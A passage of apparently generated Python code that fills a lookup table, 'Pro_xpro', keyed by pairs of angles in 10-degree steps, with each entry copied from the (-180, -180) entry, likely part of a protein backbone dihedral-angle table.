Pro_xpro[(-100, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-100, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-90, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-80, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-70, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-60, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-50, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-40, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-30, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-20, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(-10, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(0, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(10, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, -10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 0)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 10)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 20)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 30)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 40)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 50)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 60)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 70)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 80)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 90)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 100)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 110)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(20, 170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -180)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -170)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -160)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -150)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -140)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -130)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -120)]=Pro_xpro[(-180, -180)]
Pro_xpro[(30, -110)]=Pro_xpro[(-180, -180)]
